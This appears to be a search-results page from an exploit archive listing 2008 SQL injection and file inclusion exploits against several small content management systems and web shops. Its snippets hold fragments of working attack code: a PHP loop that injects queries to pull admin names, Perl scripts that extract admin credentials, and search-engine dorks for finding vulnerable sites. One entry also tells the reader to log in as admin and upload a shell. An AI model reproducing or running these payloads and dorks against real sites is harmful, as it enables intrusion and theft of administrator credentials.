10201 matches found
1024 CMS <= 1.4.2 Local File Inclusion / Blind SQL Injection Exploit
No description provided by source. Author: GiReX mySite: girex.altervista.org Date: 13/04/2008 CMS: 1024 CMS = 1.4.1 and 1.4.2 beta Site: 1024cms.com Bug1: Local File Inclusion Need: magicquotesgpc = Off / registerglobals = On Bug2: Cookie Blind SQL Injection Exploit: Admin Hash Retrieve Exploit...
Mumbo Jumbo Media OP4 Remote Blind SQL Injection Exploit
No description provided by source. ?php iniset"maxexecutiontime",0; printr' Mumbo Jumbo Media - OP4 - Blind SQL Injection Exploit Vulnerability discovered by: LidlosesAuge Exploit coded by: LidlosesAuge Greetz to: Free-Hack, GPM Date: 13.04.2008 Dork: "mumbo jumbo media" + inurl:"index.php" Usage...
1024 CMS 1.4.2 - Local File Inclusion Blind SQL Injection
1024 CMS 1.4.2 - Local File Inclusion Blind SQL Injection Author: GiReX mySite: girex.altervista.org Date: 13/04/2008 CMS: 1024 CMS = 1.4.1 and 1.4.2 beta Site: 1024cms.com Bug1: Local File Inclusion Need: magicquotesgpc = Off / registerglobals = On Bug2: Cookie Blind SQL Injection Exploit: Admin...
1024 CMS 1.4.2 - Local File Inclusion / Blind SQL Injection
Author: GiReX mySite: girex.altervista.org Date: 13/04/2008 CMS: 1024 CMS = 1.4.1 and 1.4.2 beta Site: 1024cms.com Bug1: Local File Inclusion Need: magicquotesgpc = Off / registerglobals = On Bug2: Cookie Blind SQL Injection Exploit: Admin Hash Retrieve Exploit Need: magicquotesgpc = Off Bug1: Vu...
Mumbo Jumbo Media OP4 - Blind SQL Injection
Mumbo Jumbo Media OP4 - Blind SQL Injection php '.$argv0.' http://www.site.com/cms/ 300 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 = filegetcontents$argv1.'index.php?id='.$argv2.'+and+lengthselect+kennung+from+op4admin+where+id='.$argv3.'='.$i.'--'; if...
1024 CMS <= 1.4.2 Local File Inclusion / Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ==================================================================== 1024 CMS = 1.4.2 Local File Inclusion / Blind SQL Injection Exploit ==================================================================== Author: GiReX Date: 13/04/2008 CM...
LiveCart 1.1.1 - id Blind SQL Injection
LiveCart 1.1.1 - id Blind SQL Injection !/usr/bin/perl -w use LWP::UserAgent; ----------------------------------------------------------------------------------------------- scripts : livecart Remote Blind Sql Injection scripts site : http://www.livecart.com Discovered By : irvian site :...
LiveCart 1.1.1 - 'id' Blind SQL Injection
!/usr/bin/perl -w use LWP::UserAgent; ----------------------------------------------------------------------------------------------- scripts : livecart Remote Blind Sql Injection scripts site : http://www.livecart.com Discovered By : irvian site : http://irvian.cn forum : http://noscan.info/foru...
livecart-blindsql.txt
!/usr/bin/perl -w use LWP::UserAgent; ----------------------------------------------------------------------------------------------- scripts : livecart Remote Blind Sql Injection scripts site : http://www.livecart.com Discovered By : irvian site : http://irvian.cn forum : http://noscan.info/foru...
Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit
No description provided by source. ?php / ------------------------------------------------------ Drake CMS = 0.4.11 Remote Blind SQL Injection Exploit ------------------------------------------------------ author...: EgiX mail.....: n0b0d13satgmaildotcom link.....: http://drakecms.sourceforge.net...
724cms-sql.txt
724CMS = 4.01 Enterprise - SQL Injection Vulnerability found by: LidlosesAuge Date: 07.04.2008 Contact ICQ: 120946783 Greetz to: free-hack.com Vulnerability: Document: index.php GET-Parameter: ID Dork: 724CMS + "Version 4.01" Example:...
724CMS <= 4.01 Enterprise (index.php ID) SQL Injection Vulnerability
No description provided by source. 724CMS = 4.01 Enterprise - SQL Injection Vulnerability found by: LidlosesAuge Date: 07.04.2008 Contact ICQ: 120946783 Greetz to: free-hack.com Vulnerability: Document: index.php GET-Parameter:&n...
picturerating-blindsql.txt
!/usr/bin/perl -- Picture Rating 1.0 Blind SQL Injection Exploit -- -Info/Instructions- After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://site.com/control/ ok once you have logged in has admin you can upload a shell, click...
Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ====================================================== Drake CMS gid 17. if '' === $gbname = in'gbname', SQL | NOHTML, $POST, '', 50 18. || '' === $gbemail = in'gbemail', SQL | NOHTML, $POST, '', 50 19. || !isemail$gbemail 20. 21...
Drake CMS 0.4.11 - Blind SQL Injection
gid 17. if '' === $gbname = in'gbname', SQL | NOHTML, $POST, '', 50 18. || '' === $gbemail = in'gbemail', SQL | NOHTML, $POST, '', 50 19. || !isemail$gbemail 20. 21. CMSResponse::BackFORMNC; 22. else 23. $gbname = $my-name; 24. $gbemail = $my-email; 25. 26. 27. $timeout = $params-get'timeout',5;...
724CMS 4.01 Enterprise - index.php SQL Injection
724CMS 4.01 Enterprise - index.php SQL Injection 724CMS = 4.01 Enterprise - SQL Injection Vulnerability found by: LidlosesAuge Date: 07.04.2008 Greetz to: free-hack.com Vulnerability: Document: index.php GET-Parameter: ID Dork: 724CMS + "Version 4.01" Example:...
724CMS 4.01 Enterprise - 'index.php' SQL Injection
724CMS = 4.01 Enterprise - SQL Injection Vulnerability found by: LidlosesAuge Date: 07.04.2008 Greetz to: free-hack.com Vulnerability: Document: index.php GET-Parameter: ID Dork: 724CMS + "Version 4.01" Example:...
PIGMy-SQL <= 1.4.1 (getdata.php id) Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl - PIGMy-SQL = 1.4.1 Blind SQL Injection Exploit - PIGMy-SQL is vulnerable because the mysql querys are insecure, therefor it allows an attack to execute sql querys, since the.. ..vulnerable page only returns a picture we have to use a blind sql...
PIGMy-SQL <= 1.4.1 (getdata.php id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================================== PIGMy-SQL ; print "Valid Photo ID: "; chompmy $pid=; ifinjecttest$url, $pid print "\nInjecting Please Wait.. This could take sev...
PIGMy-SQL 1.4.1 - getdata.php Blind SQL Injection
PIGMy-SQL 1.4.1 - getdata.php Blind SQL Injection !/usr/bin/perl - PIGMy-SQL ; print "Valid Photo ID: "; chompmy $pid=; ifinjecttest$url, $pid print "\nInjecting Please Wait.. This could take several minutes.\n"; my $result = blindattack$url, $pid; print "Exploited! Admin Details Are: ".$result;...